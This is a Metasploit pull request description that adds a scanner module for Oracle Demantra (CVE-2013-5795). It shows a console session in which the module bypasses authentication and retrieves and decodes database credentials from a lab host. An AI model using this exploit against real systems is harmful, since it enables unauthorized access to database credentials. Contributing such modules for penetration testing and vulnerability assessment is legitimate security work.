rapid7/metasploit-framework — pull request #3197 by 0x3fcoma (2014-04-07 18:44:43+00:00)
Title: Add Oracle Demantra 2013-5795 (Database Credentials Retrieval)

This module exploits a credentials leak in oracle demantra. The exploit also abuses an authentication bypass so that it can be exploited without proper credentials.

msf > use auxiliary/scanner/http/oracle_demantra_database_credentials_leak
msf auxiliary(oracle_demantra_database_credentials_leak) > show options

Module options (auxiliary/scanner/http/oracle_demantra_database_credentials_leak):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port
SSL false no Use SSL
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

msf auxiliary(oracle_demantra_database_credentials_leak) > set rhosts 10.1.10.13
rhosts => 10.1.10.13
msf auxiliary(oracle_demantra_database_credentials_leak) > exploit

[*] 10.1.10.13:8080 returns: 200
[*] String received: 4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97,
[+] Credentials decoded: TEST?test?demantra?orc?1
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

The pcap dump can be found at:
https://github.com/0x3fcoma/Random/blob/master/oracle_database_cred_leak.pcap

I hope that this will be an easier review than my first module.